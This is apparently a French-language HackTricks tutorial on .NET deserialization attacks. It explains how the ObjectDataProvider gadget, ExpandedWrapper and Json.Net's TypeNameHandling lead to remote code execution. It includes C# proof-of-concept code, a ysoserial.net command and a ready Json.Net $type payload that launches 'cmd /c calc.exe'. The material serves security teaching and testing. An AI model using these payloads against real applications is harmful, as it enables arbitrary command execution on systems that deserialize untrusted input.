10 KiB
Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Ce post est dédié à comprendre comment le gadget ObjectDataProvider est exploité pour obtenir RCE et comment les bibliothèques de sérialisation Json.Net et xmlSerializer peuvent être abusées avec ce gadget.
Gadget ObjectDataProvider
D'après la documentation : la classe ObjectDataProvider encapsule et crée un objet que vous pouvez utiliser comme source de liaison.
Oui, c'est une explication étrange, alors voyons ce que cette classe a de si intéressant : cette classe permet de encapsuler un objet arbitraire, d'utiliser MethodParameters pour définir des paramètres arbitraires, puis d'utiliser MethodName pour appeler une fonction arbitraire de l'objet arbitraire déclaré avec les paramètres arbitraires.
Par conséquent, l'objet arbitraire va exécuter une fonction avec des paramètres tout en étant désérialisé.
Comment est-ce possible
L'espace de noms System.Windows.Data, trouvé dans le PresentationFramework.dll à C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF
, est l'endroit où l'ObjectDataProvider est défini et implémenté.
En utilisant dnSpy, vous pouvez inspecter le code de la classe qui nous intéresse. Dans l'image ci-dessous, nous voyons le code de PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Nom de la méthode
Comme vous pouvez l'observer, lorsque MethodName
est défini, base.Refresh()
est appelé, voyons ce que cela fait :
D'accord, continuons à voir ce que fait this.BeginQuery()
. BeginQuery
est remplacé par ObjectDataProvider
et voici ce qu'il fait :
Notez qu'à la fin du code, il appelle this.QueryWorke(null)
. Voyons ce que cela exécute :
Notez que ce n'est pas le code complet de la fonction QueryWorker
, mais cela montre la partie intéressante : le code appelle this.InvokeMethodOnInstance(out ex);
c'est la ligne où le méthode définie est invoquée.
Si vous voulez vérifier que simplement en définissant le MethodName** il sera exécuté**, vous pouvez exécuter ce code :
using System.Windows.Data;
using System.Diagnostics;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}
Notez que vous devez ajouter en référence C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll afin de charger System.Windows.Data
ExpandedWrapper
En utilisant l'exploit précédent, il y aura des cas où l'objet sera désérialisé en tant que une instance ObjectDataProvider (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant GetType
). Ensuite, il n'aura aucune connaissance du type d'objet qui est encapsulé dans l'instance ObjectDataProvider (par exemple Process
). Vous pouvez trouver plus d'informations sur la vulnérabilité DotNetNuke ici.
Cette classe permet de spécifier les types d'objets des objets qui sont encapsulés dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (ObjectDataProvider) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (ObjectDataProvider.MethodName et ObjectDataProvider.MethodParameters).
Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure de wrapper _ObjectDataProvider** à l'intérieur d'une instance **ExpandedWrapper _ et lorsqu'il est désérialisé, cette classe créera l'objet OjectDataProvider qui exécutera la fonction indiquée dans MethodName.
Vous pouvez vérifier ce wrapper avec le code suivant :
using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;
namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}
Json.Net
Sur la page web officielle, il est indiqué que cette bibliothèque permet de sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET. Donc, si nous pouvions désérialiser le gadget ObjectDataProvider, nous pourrions provoquer un RCE simplement en désérialisant un objet.
Exemple Json.Net
Tout d'abord, voyons un exemple sur comment sérialiser/désérialiser un objet en utilisant cette bibliothèque :
using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;
namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}
Abus de Json.Net
En utilisant ysoserial.net, j'ai créé l'exploit :
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}
Dans ce code, vous pouvez tester l'exploit, il suffit de l'exécuter et vous verrez qu'un calc est exécuté :
using System;
using System.Text;
using Newtonsoft.Json;
namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :HackTricks Formation Expert Red Team AWS (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Formation Expert Red Team GCP (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement!
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.